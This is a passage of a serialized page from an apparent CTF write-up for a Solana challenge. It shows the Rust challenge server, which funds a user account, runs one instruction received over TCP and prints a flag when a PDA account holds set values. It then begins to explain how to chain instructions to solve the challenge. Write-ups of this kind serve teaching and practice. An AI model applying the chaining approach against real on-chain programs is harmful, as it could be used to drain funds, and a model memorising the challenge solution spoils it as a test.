ChallengeBuilder",{"type":23,"tag":314,"props":41171,"children":41172},{"style":354},[41173],{"type":28,"value":2737},{"type":23,"tag":314,"props":41175,"children":41176},{"style":332},[41177],{"type":28,"value":41178},"try_from",{"type":23,"tag":314,"props":41180,"children":41181},{"style":338},[41182],{"type":28,"value":341},{"type":23,"tag":314,"props":41184,"children":41185},{"style":360},[41186],{"type":28,"value":41187},"socket",{"type":23,"tag":314,"props":41189,"children":41190},{"style":354},[41191],{"type":28,"value":282},{"type":23,"tag":314,"props":41193,"children":41194},{"style":332},[41195],{"type":28,"value":41196},"try_clone",{"type":23,"tag":314,"props":41198,"children":41199},{"style":338},[41200],{"type":28,"value":13126},{"type":23,"tag":314,"props":41202,"children":41203},{"style":354},[41204],{"type":28,"value":282},{"type":23,"tag":314,"props":41206,"children":41207},{"style":332},[41208],{"type":28,"value":2921},{"type":23,"tag":314,"props":41210,"children":41211},{"style":338},[41212],{"type":28,"value":41213},"())",{"type":23,"tag":314,"props":41215,"children":41216},{"style":354},[41217],{"type":28,"value":282},{"type":23,"tag":314,"props":41219,"children":41220},{"style":332},[41221],{"type":28,"value":2921},{"type":23,"tag":314,"props":41223,"children":41224},{"style":338},[41225],{"type":28,"value":2926},{"type":23,"tag":314,"props":41227,"children":41228},{"class":316,"line":370},[41229,41234,41238,41243,41247,41252,41256,41261,41265,41270,41275,41279,41284,41288,41293,41297],{"type":23,"tag":314,"props":41230,"children":41231},{"style":332},[41232],{"type":28,"value":41233},"assert!",{"type":23,"tag":314,"props":41235,"children":41236},{"style":338},[41237],{"type":28,"value":341},{"type":23,"tag":314,"props":41239,"children":41240},{"style":360},[41241],{"type":28,"value":41242},"builder",{"type":23,"tag":314,"props":41244,"children":41245},{"style":354},[41246],{"type":28,"value":282},{"type":23,"tag":314,"props":41248,"children":41249},{"style":332},[41250],{"type":28,"value":41251},"add_program",{"type":23,"tag":314,"props":41253,"children":41254},{"style":338},[41255],{"type":28,"value":341},{"type":23,"tag":314,"props":41257,"children":41258},{"style":1245},[41259],{"type":28,"value":41260},"\"/path/to/chall.so\"",{"type":23,"tag":314,"props":41262,"children":41263},{"style":338},[41264],{"type":28,"value":778},{"type":23,"tag":314,"props":41266,"children":41267},{"style":2674},[41268],{"type":28,"value":41269},"Some",{"type":23,"tag":314,"props":41271,"children":41272},{"style":338},[41273],{"type":28,"value":41274},"(chall",{"type":23,"tag":314,"props":41276,"children":41277},{"style":354},[41278],{"type":28,"value":2737},{"type":23,"tag":314,"props":41280,"children":41281},{"style":338},[41282],{"type":28,"value":41283},"ID)) ",{"type":23,"tag":314,"props":41285,"children":41286},{"style":354},[41287],{"type":28,"value":7828},{"type":23,"tag":314,"props":41289,"children":41290},{"style":338},[41291],{"type":28,"value":41292}," chall",{"type":23,"tag":314,"props":41294,"children":41295},{"style":354},[41296],{"type":28,"value":2737},{"type":23,"tag":314,"props":41298,"children":41299},{"style":338},[41300],{"type":28,"value":41301},"ID);\n",{"type":23,"tag":314,"props":41303,"children":41304},{"class":316,"line":380},[41305,41309,41313,41317,41321,41325,41329,41334,41338,41342,41346],{"type":23,"tag":314,"props":41306,"children":41307},{"style":321},[41308],{"type":28,"value":11035},{"type":23,"tag":314,"props":41310,"children":41311},{"style":321},[41312],{"type":28,"value":2259},{"type":23,"tag":314,"props":41314,"children":41315},{"style":360},[41316],{"type":28,"value":41292},{"type":23,"tag":314,"props":41318,"children":41319},{"style":354},[41320],{"type":28,"value":1237},{"type":23,"tag":314,"props":41322,"children":41323},{"style":360},[41324],{"type":28,"value":41160},{"type":23,"tag":314,"props":41326,"children":41327},{"style":354},[41328],{"type":28,"value":282},{"type":23,"tag":314,"props":41330,"children":41331},{"style":332},[41332],{"type":28,"value":41333},"build",{"type":23,"tag":314,"props":41335,"children":41336},{"style":338},[41337],{"type":28,"value":13126},{"type":23,"tag":314,"props":41339,"children":41340},{"style":354},[41341],{"type":28,"value":282},{"type":23,"tag":314,"props":41343,"children":41344},{"style":2284},[41345],{"type":28,"value":32164},{"type":23,"tag":314,"props":41347,"children":41348},{"style":338},[41349],{"type":28,"value":2278},{"type":23,"tag":84,"props":41351,"children":41352},{"start":370},[41353],{"type":23,"tag":88,"props":41354,"children":41355},{},[41356],{"type":28,"value":41357},"Funds the user account with 100 SOL",{"type":23,"tag":304,"props":41359,"children":41361},{"className":2234,"code":41360,"language":2233,"meta":7,"style":7},"let user_keypair = Keypair::new();\nlet user = user_keypair.pubkey();\n\nlet payer_keypair = &chall.ctx.payer;\nlet payer = payer_keypair.pubkey();\n\nchall\n .run_ix(system_instruction::transfer(&payer, &user, 100_000_000_000))\n .await?;\n\nwriteln!(socket, \"user: {}\", user)?;\n",[41362],{"type":23,"tag":94,"props":41363,"children":41364},{"__ignoreMap":7},[41365,41398,41430,41437,41479,41511,41518,41526,41590,41609,41616],{"type":23,"tag":314,"props":41366,"children":41367},{"class":316,"line":317},[41368,41372,41377,41381,41386,41390,41394],{"type":23,"tag":314,"props":41369,"children":41370},{"style":321},[41371],{"type":28,"value":11035},{"type":23,"tag":314,"props":41373,"children":41374},{"style":360},[41375],{"type":28,"value":41376}," user_keypair",{"type":23,"tag":314,"props":41378,"children":41379},{"style":354},[41380],{"type":28,"value":1237},{"type":23,"tag":314,"props":41382,"children":41383},{"style":2674},[41384],{"type":28,"value":41385}," Keypair",{"type":23,"tag":314,"props":41387,"children":41388},{"style":354},[41389],{"type":28,"value":2737},{"type":23,"tag":314,"props":41391,"children":41392},{"style":332},[41393],{"type":28,"value":14364},{"type":23,"tag":314,"props":41395,"children":41396},{"style":338},[41397],{"type":28,"value":2926},{"type":23,"tag":314,"props":41399,"children":41400},{"class":316,"line":370},[41401,41405,41410,41414,41418,41422,41426],{"type":23,"tag":314,"props":41402,"children":41403},{"style":321},[41404],{"type":28,"value":11035},{"type":23,"tag":314,"props":41406,"children":41407},{"style":360},[41408],{"type":28,"value":41409}," user",{"type":23,"tag":314,"props":41411,"children":41412},{"style":354},[41413],{"type":28,"value":1237},{"type":23,"tag":314,"props":41415,"children":41416},{"style":360},[41417],{"type":28,"value":41376},{"type":23,"tag":314,"props":41419,"children":41420},{"style":354},[41421],{"type":28,"value":282},{"type":23,"tag":314,"props":41423,"children":41424},{"style":332},[41425],{"type":28,"value":2800},{"type":23,"tag":314,"props":41427,"children":41428},{"style":338},[41429],{"type":28,"value":2926},{"type":23,"tag":314,"props":41431,"children":41432},{"class":316,"line":380},[41433],{"type":23,"tag":314,"props":41434,"children":41435},{"emptyLinePlaceholder":18},[41436],{"type":28,"value":1088},{"type":23,"tag":314,"props":41438,"children":41439},{"class":316,"line":1091},[41440,41444,41449,41453,41457,41462,41466,41470,41474],{"type":23,"tag":314,"props":41441,"children":41442},{"style":321},[41443],{"type":28,"value":11035},{"type":23,"tag":314,"props":41445,"children":41446},{"style":360},[41447],{"type":28,"value":41448}," payer_keypair",{"type":23,"tag":314,"props":41450,"children":41451},{"style":354},[41452],{"type":28,"value":1237},{"type":23,"tag":314,"props":41454,"children":41455},{"style":354},[41456],{"type":28,"value":1968},{"type":23,"tag":314,"props":41458,"children":41459},{"style":360},[41460],{"type":28,"value":41461},"chall",{"type":23,"tag":314,"props":41463,"children":41464},{"style":354},[41465],{"type":28,"value":282},{"type":23,"tag":314,"props":41467,"children":41468},{"style":338},[41469],{"type":28,"value":19518},{"type":23,"tag":314,"props":41471,"children":41472},{"style":354},[41473],{"type":28,"value":282},{"type":23,"tag":314,"props":41475,"children":41476},{"style":338},[41477],{"type":28,"value":41478},"payer;\n",{"type":23,"tag":314,"props":41480,"children":41481},{"class":316,"line":1141},[41482,41486,41491,41495,41499,41503,41507],{"type":23,"tag":314,"props":41483,"children":41484},{"style":321},[41485],{"type":28,"value":11035},{"type":23,"tag":314,"props":41487,"children":41488},{"style":360},[41489],{"type":28,"value":41490}," payer",{"type":23,"tag":314,"props":41492,"children":41493},{"style":354},[41494],{"type":28,"value":1237},{"type":23,"tag":314,"props":41496,"children":41497},{"style":360},[41498],{"type":28,"value":41448},{"type":23,"tag":314,"props":41500,"children":41501},{"style":354},[41502],{"type":28,"value":282},{"type":23,"tag":314,"props":41504,"children":41505},{"style":332},[41506],{"type":28,"value":2800},{"type":23,"tag":314,"props":41508,"children":41509},{"style":338},[41510],{"type":28,"value":2926},{"type":23,"tag":314,"props":41512,"children":41513},{"class":316,"line":1173},[41514],{"type":23,"tag":314,"props":41515,"children":41516},{"emptyLinePlaceholder":18},[41517],{"type":28,"value":1088},{"type":23,"tag":314,"props":41519,"children":41520},{"class":316,"line":1208},[41521],{"type":23,"tag":314,"props":41522,"children":41523},{"style":360},[41524],{"type":28,"value":41525},"chall\n",{"type":23,"tag":314,"props":41527,"children":41528},{"class":316,"line":1216},[41529,41534,41539,41544,41548,41552,41556,41560,41565,41569,41573,41577,41581,41586],{"type":23,"tag":314,"props":41530,"children":41531},{"style":354},[41532],{"type":28,"value":41533}," .",{"type":23,"tag":314,"props":41535,"children":41536},{"style":332},[41537],{"type":28,"value":41538},"run_ix",{"type":23,"tag":314,"props":41540,"children":41541},{"style":338},[41542],{"type":28,"value":41543},"(system_instruction",{"type":23,"tag":314,"props":41545,"children":41546},{"style":354},[41547],{"type":28,"value":2737},{"type":23,"tag":314,"props":41549,"children":41550},{"style":332},[41551],{"type":28,"value":31370},{"type":23,"tag":314,"props":41553,"children":41554},{"style":338},[41555],{"type":28,"value":341},{"type":23,"tag":314,"props":41557,"children":41558},{"style":354},[41559],{"type":28,"value":1833},{"type":23,"tag":314,"props":41561,"children":41562},{"style":360},[41563],{"type":28,"value":41564},"payer",{"type":23,"tag":314,"props":41566,"children":41567},{"style":338},[41568],{"type":28,"value":778},{"type":23,"tag":314,"props":41570,"children":41571},{"style":354},[41572],{"type":28,"value":1833},{"type":23,"tag":314,"props":41574,"children":41575},{"style":360},[41576],{"type":28,"value":19470},{"type":23,"tag":314,"props":41578,"children":41579},{"style":338},[41580],{"type":28,"value":778},{"type":23,"tag":314,"props":41582,"children":41583},{"style":1054},[41584],{"type":28,"value":41585},"100_000_000_000",{"type":23,"tag":314,"props":41587,"children":41588},{"style":338},[41589],{"type":28,"value":18949},{"type":23,"tag":314,"props":41591,"children":41592},{"class":316,"line":1301},[41593,41597,41601,41605],{"type":23,"tag":314,"props":41594,"children":41595},{"style":354},[41596],{"type":28,"value":41533},{"type":23,"tag":314,"props":41598,"children":41599},{"style":2284},[41600],{"type":28,"value":32164},{"type":23,"tag":314,"props":41602,"children":41603},{"style":354},[41604],{"type":28,"value":2409},{"type":23,"tag":314,"props":41606,"children":41607},{"style":338},[41608],{"type":28,"value":2278},{"type":23,"tag":314,"props":41610,"children":41611},{"class":316,"line":1343},[41612],{"type":23,"tag":314,"props":41613,"children":41614},{"emptyLinePlaceholder":18},[41615],{"type":28,"value":1088},{"type":23,"tag":314,"props":41617,"children":41618},{"class":316,"line":1351},[41619,41624,41628,41632,41636,41641,41645,41649,41653,41657],{"type":23,"tag":314,"props":41620,"children":41621},{"style":332},[41622],{"type":28,"value":41623},"writeln!",{"type":23,"tag":314,"props":41625,"children":41626},{"style":338},[41627],{"type":28,"value":341},{"type":23,"tag":314,"props":41629,"children":41630},{"style":360},[41631],{"type":28,"value":41187},{"type":23,"tag":314,"props":41633,"children":41634},{"style":338},[41635],{"type":28,"value":778},{"type":23,"tag":314,"props":41637,"children":41638},{"style":1245},[41639],{"type":28,"value":41640},"\"user: {}\"",{"type":23,"tag":314,"props":41642,"children":41643},{"style":338},[41644],{"type":28,"value":778},{"type":23,"tag":314,"props":41646,"children":41647},{"style":360},[41648],{"type":28,"value":19470},{"type":23,"tag":314,"props":41650,"children":41651},{"style":338},[41652],{"type":28,"value":431},{"type":23,"tag":314,"props":41654,"children":41655},{"style":354},[41656],{"type":28,"value":2409},{"type":23,"tag":314,"props":41658,"children":41659},{"style":338},[41660],{"type":28,"value":2278},{"type":23,"tag":84,"props":41662,"children":41663},{"start":380},[41664],{"type":23,"tag":88,"props":41665,"children":41666},{},[41667],{"type":28,"value":41668},"Reads an instruction from the tcp stream and executes it",{"type":23,"tag":304,"props":41670,"children":41672},{"className":2234,"code":41671,"language":2233,"meta":7,"style":7},"let solve_ix = chall.read_instruction(chall::ID)?;\nchall.run_ixs_full(&[solve_ix], &[&user_keypair], &user).await?;\n",[41673],{"type":23,"tag":94,"props":41674,"children":41675},{"__ignoreMap":7},[41676,41726],{"type":23,"tag":314,"props":41677,"children":41678},{"class":316,"line":317},[41679,41683,41688,41692,41696,41700,41705,41709,41713,41718,41722],{"type":23,"tag":314,"props":41680,"children":41681},{"style":321},[41682],{"type":28,"value":11035},{"type":23,"tag":314,"props":41684,"children":41685},{"style":360},[41686],{"type":28,"value":41687}," solve_ix",{"type":23,"tag":314,"props":41689,"children":41690},{"style":354},[41691],{"type":28,"value":1237},{"type":23,"tag":314,"props":41693,"children":41694},{"style":360},[41695],{"type":28,"value":41292},{"type":23,"tag":314,"props":41697,"children":41698},{"style":354},[41699],{"type":28,"value":282},{"type":23,"tag":314,"props":41701,"children":41702},{"style":332},[41703],{"type":28,"value":41704},"read_instruction",{"type":23,"tag":314,"props":41706,"children":41707},{"style":338},[41708],{"type":28,"value":41274},{"type":23,"tag":314,"props":41710,"children":41711},{"style":354},[41712],{"type":28,"value":2737},{"type":23,"tag":314,"props":41714,"children":41715},{"style":338},[41716],{"type":28,"value":41717},"ID)",{"type":23,"tag":314,"props":41719,"children":41720},{"style":354},[41721],{"type":28,"value":2409},{"type":23,"tag":314,"props":41723,"children":41724},{"style":338},[41725],{"type":28,"value":2278},{"type":23,"tag":314,"props":41727,"children":41728},{"class":316,"line":370},[41729,41733,41737,41742,41746,41750,41754,41759,41763,41767,41771,41775,41780,41784,41788,41792,41796,41800,41804,41808],{"type":23,"tag":314,"props":41730,"children":41731},{"style":360},[41732],{"type":28,"value":41461},{"type":23,"tag":314,"props":41734,"children":41735},{"style":354},[41736],{"type":28,"value":282},{"type":23,"tag":314,"props":41738,"children":41739},{"style":332},[41740],{"type":28,"value":41741},"run_ixs_full",{"type":23,"tag":314,"props":41743,"children":41744},{"style":338},[41745],{"type":28,"value":341},{"type":23,"tag":314,"props":41747,"children":41748},{"style":354},[41749],{"type":28,"value":1833},{"type":23,"tag":314,"props":41751,"children":41752},{"style":338},[41753],{"type":28,"value":1312},{"type":23,"tag":314,"props":41755,"children":41756},{"style":360},[41757],{"type":28,"value":41758},"solve_ix",{"type":23,"tag":314,"props":41760,"children":41761},{"style":338},[41762],{"type":28,"value":22298},{"type":23,"tag":314,"props":41764,"children":41765},{"style":354},[41766],{"type":28,"value":1833},{"type":23,"tag":314,"props":41768,"children":41769},{"style":338},[41770],{"type":28,"value":1312},{"type":23,"tag":314,"props":41772,"children":41773},{"style":354},[41774],{"type":28,"value":1833},{"type":23,"tag":314,"props":41776,"children":41777},{"style":360},[41778],{"type":28,"value":41779},"user_keypair",{"type":23,"tag":314,"props":41781,"children":41782},{"style":338},[41783],{"type":28,"value":22298},{"type":23,"tag":314,"props":41785,"children":41786},{"style":354},[41787],{"type":28,"value":1833},{"type":23,"tag":314,"props":41789,"children":41790},{"style":360},[41791],{"type":28,"value":19470},{"type":23,"tag":314,"props":41793,"children":41794},{"style":338},[41795],{"type":28,"value":431},{"type":23,"tag":314,"props":41797,"children":41798},{"style":354},[41799],{"type":28,"value":282},{"type":23,"tag":314,"props":41801,"children":41802},{"style":2284},[41803],{"type":28,"value":32164},{"type":23,"tag":314,"props":41805,"children":41806},{"style":354},[41807],{"type":28,"value":2409},{"type":23,"tag":314,"props":41809,"children":41810},{"style":338},[41811],{"type":28,"value":2278},{"type":23,"tag":84,"props":41813,"children":41814},{"start":1091},[41815],{"type":23,"tag":88,"props":41816,"children":41817},{},[41818],{"type":28,"value":41819},"Checks that the account at PDA(\"FLAG\") exists, has a data length of 0x1337 and the first 8 bytes are equal to 0x4337. If so, it prints the flag.",{"type":23,"tag":304,"props":41821,"children":41823},{"className":2234,"code":41822,"language":2233,"meta":7,"style":7},"let flag = Pubkey::create_program_address(&[\"FLAG\".as_ref()], &chall::ID)?;\nif let Some(acct) = chall.ctx.banks_client.get_account(flag).await? {\n if acct.data.len() == 0x1337\n && u64::from_le_bytes(acct.data[..8].try_into().unwrap()) == 0x4337\n {\n writeln!(socket, \"congrats!\")?;\n if let Ok(flag) = env::var(\"FLAG\") {\n writeln!(socket, \"flag: {:?}\", flag)?;\n } else {\n writeln!(socket, \"flag not found, please contact admin\")?;\n }\n }\n}\n",[41824],{"type":23,"tag":94,"props":41825,"children":41826},{"__ignoreMap":7},[41827,41911,42002,42043,42127,42134,42171,42228,42273,42288,42324,42331,42338],{"type":23,"tag":314,"props":41828,"children":41829},{"class":316,"line":317},[41830,41834,41839,41843,41847,41851,41856,41860,41864,41868,41873,41877,41882,41887,41891,41895,41899,41903,41907],{"type":23,"tag":314,"props":41831,"children":41832},{"style":321},[41833],{"type":28,"value":11035},{"type":23,"tag":314,"props":41835,"children":41836},{"style":360},[41837],{"type":28,"value":41838}," flag",{"type":23,"tag":314,"props":41840,"children":41841},{"style":354},[41842],{"type":28,"value":1237},{"type":23,"tag":314,"props":41844,"children":41845},{"style":2674},[41846],{"type":28,"value":20094},{"type":23,"tag":314,"props":41848,"children":41849},{"style":354},[41850],{"type":28,"value":2737},{"type":23,"tag":314,"props":41852,"children":41853},{"style":332},[41854],{"type":28,"value":41855},"create_program_address",{"type":23,"tag":314,"props":41857,"children":41858},{"style":338},[41859],{"type":28,"value":341},{"type":23,"tag":314,"props":41861,"children":41862},{"style":354},[41863],{"type":28,"value":1833},{"type":23,"tag":314,"props":41865,"children":41866},{"style":338},[41867],{"type":28,"value":1312},{"type":23,"tag":314,"props":41869,"children":41870},{"style":1245},[41871],{"type":28,"value":41872},"\"FLAG\"",{"type":23,"tag":314,"props":41874,"children":41875},{"style":354},[41876],{"type":28,"value":282},{"type":23,"tag":314,"props":41878,"children":41879},{"style":332},[41880],{"type":28,"value":41881},"as_ref",{"type":23,"tag":314,"props":41883,"children":41884},{"style":338},[41885],{"type":28,"value":41886},"()], ",{"type":23,"tag":314,"props":41888,"children":41889},{"style":354},[41890],{"type":28,"value":1833},{"type":23,"tag":314,"props":41892,"children":41893},{"style":338},[41894],{"type":28,"value":41461},{"type":23,"tag":314,"props":41896,"children":41897},{"style":354},[41898],{"type":28,"value":2737},{"type":23,"tag":314,"props":41900,"children":41901},{"style":338},[41902],{"type":28,"value":41717},{"type":23,"tag":314,"props":41904,"children":41905},{"style":354},[41906],{"type":28,"value":2409},{"type":23,"tag":314,"props":41908,"children":41909},{"style":338},[41910],{"type":28,"value":2278},{"type":23,"tag":314,"props":41912,"children":41913},{"class":316,"line":370},[41914,41918,41922,41926,41930,41935,41939,41943,41947,41951,41955,41959,41964,41968,41973,41977,41982,41986,41990,41994,41998],{"type":23,"tag":314,"props":41915,"children":41916},{"style":2284},[41917],{"type":28,"value":14821},{"type":23,"tag":314,"props":41919,"children":41920},{"style":321},[41921],{"type":28,"value":26551},{"type":23,"tag":314,"props":41923,"children":41924},{"style":2674},[41925],{"type":28,"value":26556},{"type":23,"tag":314,"props":41927,"children":41928},{"style":338},[41929],{"type":28,"value":341},{"type":23,"tag":314,"props":41931,"children":41932},{"style":360},[41933],{"type":28,"value":41934},"acct",{"type":23,"tag":314,"props":41936,"children":41937},{"style":338},[41938],{"type":28,"value":2343},{"type":23,"tag":314,"props":41940,"children":41941},{"style":354},[41942],{"type":28,"value":1102},{"type":23,"tag":314,"props":41944,"children":41945},{"style":360},[41946],{"type":28,"value":41292},{"type":23,"tag":314,"props":41948,"children":41949},{"style":354},[41950],{"type":28,"value":282},{"type":23,"tag":314,"props":41952,"children":41953},{"style":338},[41954],{"type":28,"value":19518},{"type":23,"tag":314,"props":41956,"children":41957},{"style":354},[41958],{"type":28,"value":282},{"type":23,"tag":314,"props":41960,"children":41961},{"style":338},[41962],{"type":28,"value":41963},"banks_client",{"type":23,"tag":314,"props":41965,"children":41966},{"style":354},[41967],{"type":28,"value":282},{"type":23,"tag":314,"props":41969,"children":41970},{"style":332},[41971],{"type":28,"value":41972},"get_account",{"type":23,"tag":314,"props":41974,"children":41975},{"style":338},[41976],{"type":28,"value":341},{"type":23,"tag":314,"props":41978,"children":41979},{"style":360},[41980],{"type":28,"value":41981},"flag",{"type":23,"tag":314,"props":41983,"children":41984},{"style":338},[41985],{"type":28,"value":431},{"type":23,"tag":314,"props":41987,"children":41988},{"style":354},[41989],{"type":28,"value":282},{"type":23,"tag":314,"props":41991,"children":41992},{"style":2284},[41993],{"type":28,"value":32164},{"type":23,"tag":314,"props":41995,"children":41996},{"style":354},[41997],{"type":28,"value":2409},{"type":23,"tag":314,"props":41999,"children":42000},{"style":338},[42001],{"type":28,"value":1449},{"type":23,"tag":314,"props":42003,"children":42004},{"class":316,"line":380},[42005,42009,42014,42018,42022,42026,42030,42034,42038],{"type":23,"tag":314,"props":42006,"children":42007},{"style":2284},[42008],{"type":28,"value":11527},{"type":23,"tag":314,"props":42010,"children":42011},{"style":360},[42012],{"type":28,"value":42013}," acct",{"type":23,"tag":314,"props":42015,"children":42016},{"style":354},[42017],{"type":28,"value":282},{"type":23,"tag":314,"props":42019,"children":42020},{"style":338},[42021],{"type":28,"value":249},{"type":23,"tag":314,"props":42023,"children":42024},{"style":354},[42025],{"type":28,"value":282},{"type":23,"tag":314,"props":42027,"children":42028},{"style":332},[42029],{"type":28,"value":8389},{"type":23,"tag":314,"props":42031,"children":42032},{"style":338},[42033],{"type":28,"value":13290},{"type":23,"tag":314,"props":42035,"children":42036},{"style":354},[42037],{"type":28,"value":7828},{"type":23,"tag":314,"props":42039,"children":42040},{"style":1054},[42041],{"type":28,"value":42042}," 0x1337\n",{"type":23,"tag":314,"props":42044,"children":42045},{"class":316,"line":1091},[42046,42051,42055,42059,42064,42068,42072,42076,42081,42085,42089,42093,42097,42101,42105,42109,42113,42118,42122],{"type":23,"tag":314,"props":42047,"children":42048},{"style":354},[42049],{"type":28,"value":42050}," &&",{"type":23,"tag":314,"props":42052,"children":42053},{"style":2674},[42054],{"type":28,"value":5114},{"type":23,"tag":314,"props":42056,"children":42057},{"style":354},[42058],{"type":28,"value":2737},{"type":23,"tag":314,"props":42060,"children":42061},{"style":332},[42062],{"type":28,"value":42063},"from_le_bytes",{"type":23,"tag":314,"props":42065,"children":42066},{"style":338},[42067],{"type":28,"value":341},{"type":23,"tag":314,"props":42069,"children":42070},{"style":360},[42071],{"type":28,"value":41934},{"type":23,"tag":314,"props":42073,"children":42074},{"style":354},[42075],{"type":28,"value":282},{"type":23,"tag":314,"props":42077,"children":42078},{"style":338},[42079],{"type":28,"value":42080},"data[",{"type":23,"tag":314,"props":42082,"children":42083},{"style":354},[42084],{"type":28,"value":2306},{"type":23,"tag":314,"props":42086,"children":42087},{"style":1054},[42088],{"type":28,"value":3330},{"type":23,"tag":314,"props":42090,"children":42091},{"style":338},[42092],{"type":28,"value":14653},{"type":23,"tag":314,"props":42094,"children":42095},{"style":354},[42096],{"type":28,"value":282},{"type":23,"tag":314,"props":42098,"children":42099},{"style":332},[42100],{"type":28,"value":25408},{"type":23,"tag":314,"props":42102,"children":42103},{"style":338},[42104],{"type":28,"value":13126},{"type":23,"tag":314,"props":42106,"children":42107},{"style":354},[42108],{"type":28,"value":282},{"type":23,"tag":314,"props":42110,"children":42111},{"style":332},[42112],{"type":28,"value":2921},{"type":23,"tag":314,"props":42114,"children":42115},{"style":338},[42116],{"type":28,"value":42117},"()) ",{"type":23,"tag":314,"props":42119,"children":42120},{"style":354},[42121],{"type":28,"value":7828},{"type":23,"tag":314,"props":42123,"children":42124},{"style":1054},[42125],{"type":28,"value":42126}," 0x4337\n",{"type":23,"tag":314,"props":42128,"children":42129},{"class":316,"line":1141},[42130],{"type":23,"tag":314,"props":42131,"children":42132},{"style":338},[42133],{"type":28,"value":28435},{"type":23,"tag":314,"props":42135,"children":42136},{"class":316,"line":1173},[42137,42142,42146,42150,42154,42159,42163,42167],{"type":23,"tag":314,"props":42138,"children":42139},{"style":332},[42140],{"type":28,"value":42141}," writeln!",{"type":23,"tag":314,"props":42143,"children":42144},{"style":338},[42145],{"type":28,"value":341},{"type":23,"tag":314,"props":42147,"children":42148},{"style":360},[42149],{"type":28,"value":41187},{"type":23,"tag":314,"props":42151,"children":42152},{"style":338},[42153],{"type":28,"value":778},{"type":23,"tag":314,"props":42155,"children":42156},{"style":1245},[42157],{"type":28,"value":42158},"\"congrats!\"",{"type":23,"tag":314,"props":42160,"children":42161},{"style":338},[42162],{"type":28,"value":431},{"type":23,"tag":314,"props":42164,"children":42165},{"style":354},[42166],{"type":28,"value":2409},{"type":23,"tag":314,"props":42168,"children":42169},{"style":338},[42170],{"type":28,"value":2278},{"type":23,"tag":314,"props":42172,"children":42173},{"class":316,"line":1208},[42174,42178,42182,42187,42191,42195,42199,42203,42208,42212,42216,42220,42224],{"type":23,"tag":314,"props":42175,"children":42176},{"style":2284},[42177],{"type":28,"value":2527},{"type":23,"tag":314,"props":42179,"children":42180},{"style":321},[42181],{"type":28,"value":26551},{"type":23,"tag":314,"props":42183,"children":42184},{"style":2674},[42185],{"type":28,"value":42186}," Ok",{"type":23,"tag":314,"props":42188,"children":42189},{"style":338},[42190],{"type":28,"value":341},{"type":23,"tag":314,"props":42192,"children":42193},{"style":360},[42194],{"type":28,"value":41981},{"type":23,"tag":314,"props":42196,"children":42197},{"style":338},[42198],{"type":28,"value":2343},{"type":23,"tag":314,"props":42200,"children":42201},{"style":354},[42202],{"type":28,"value":1102},{"type":23,"tag":314,"props":42204,"children":42205},{"style":338},[42206],{"type":28,"value":42207}," env",{"type":23,"tag":314,"props":42209,"children":42210},{"style":354},[42211],{"type":28,"value":2737},{"type":23,"tag":314,"props":42213,"children":42214},{"style":332},[42215],{"type":28,"value":34296},{"type":23,"tag":314,"props":42217,"children":42218},{"style":338},[42219],{"type":28,"value":341},{"type":23,"tag":314,"props":42221,"children":42222},{"style":1245},[42223],{"type":28,"value":41872},{"type":23,"tag":314,"props":42225,"children":42226},{"style":338},[42227],{"type":28,"value":367},{"type":23,"tag":314,"props":42229,"children":42230},{"class":316,"line":1216},[42231,42236,42240,42244,42248,42253,42257,42261,42265,42269],{"type":23,"tag":314,"props":42232,"children":42233},{"style":332},[42234],{"type":28,"value":42235}," writeln!",{"type":23,"tag":314,"props":42237,"children":42238},{"style":338},[42239],{"type":28,"value":341},{"type":23,"tag":314,"props":42241,"children":42242},{"style":360},[42243],{"type":28,"value":41187},{"type":23,"tag":314,"props":42245,"children":42246},{"style":338},[42247],{"type":28,"value":778},{"type":23,"tag":314,"props":42249,"children":42250},{"style":1245},[42251],{"type":28,"value":42252},"\"flag: {:?}\"",{"type":23,"tag":314,"props":42254,"children":42255},{"style":338},[42256],{"type":28,"value":778},{"type":23,"tag":314,"props":42258,"children":42259},{"style":360},[42260],{"type":28,"value":41981},{"type":23,"tag":314,"props":42262,"children":42263},{"style":338},[42264],{"type":28,"value":431},{"type":23,"tag":314,"props":42266,"children":42267},{"style":354},[42268],{"type":28,"value":2409},{"type":23,"tag":314,"props":42270,"children":42271},{"style":338},[42272],{"type":28,"value":2278},{"type":23,"tag":314,"props":42274,"children":42275},{"class":316,"line":1301},[42276,42280,42284],{"type":23,"tag":314,"props":42277,"children":42278},{"style":338},[42279],{"type":28,"value":2565},{"type":23,"tag":314,"props":42281,"children":42282},{"style":2284},[42283],{"type":28,"value":2570},{"type":23,"tag":314,"props":42285,"children":42286},{"style":338},[42287],{"type":28,"value":1449},{"type":23,"tag":314,"props":42289,"children":42290},{"class":316,"line":1343},[42291,42295,42299,42303,42307,42312,42316,42320],{"type":23,"tag":314,"props":42292,"children":42293},{"style":332},[42294],{"type":28,"value":42235},{"type":23,"tag":314,"props":42296,"children":42297},{"style":338},[42298],{"type":28,"value":341},{"type":23,"tag":314,"props":42300,"children":42301},{"style":360},[42302],{"type":28,"value":41187},{"type":23,"tag":314,"props":42304,"children":42305},{"style":338},[42306],{"type":28,"value":778},{"type":23,"tag":314,"props":42308,"children":42309},{"style":1245},[42310],{"type":28,"value":42311},"\"flag not found, please contact admin\"",{"type":23,"tag":314,"props":42313,"children":42314},{"style":338},[42315],{"type":28,"value":431},{"type":23,"tag":314,"props":42317,"children":42318},{"style":354},[42319],{"type":28,"value":2409},{"type":23,"tag":314,"props":42321,"children":42322},{"style":338},[42323],{"type":28,"value":2278},{"type":23,"tag":314,"props":42325,"children":42326},{"class":316,"line":1351},[42327],{"type":23,"tag":314,"props":42328,"children":42329},{"style":338},[42330],{"type":28,"value":2602},{"type":23,"tag":314,"props":42332,"children":42333},{"class":316,"line":1387},[42334],{"type":23,"tag":314,"props":42335,"children":42336},{"style":338},[42337],{"type":28,"value":2610},{"type":23,"tag":314,"props":42339,"children":42340},{"class":316,"line":1422},[42341],{"type":23,"tag":314,"props":42342,"children":42343},{"style":338},[42344],{"type":28,"value":386},{"type":23,"tag":61,"props":42346,"children":42348},{"id":42347},"solution-idea",[42349],{"type":28,"value":42350},"Solution Idea",{"type":23,"tag":24,"props":42352,"children":42353},{},[42354,42356,42361],{"type":28,"value":42355},"You may think it's impossible to do with just one instruction, but we can actually leverage the ",{"type":23,"tag":94,"props":42357,"children":42359},{"className":42358},[],[42360],{"type":28,"value":34930},{"type":28,"value":42362}," function to execute infinite instructions. Well -- not entirely infinite, as we are limited by the amount of data we can pass to the on-chain program, and by the maximum stack depth of the Solana VM -- but we can execute up to 64 instructions, which is more than enough to get the flag.",{"type":23,"tag":24,"props":42364,"children":42365},{},[42366,42368,42374],{"type":28,"value":42367},"In order to get the flag, we need to make sure that the account at 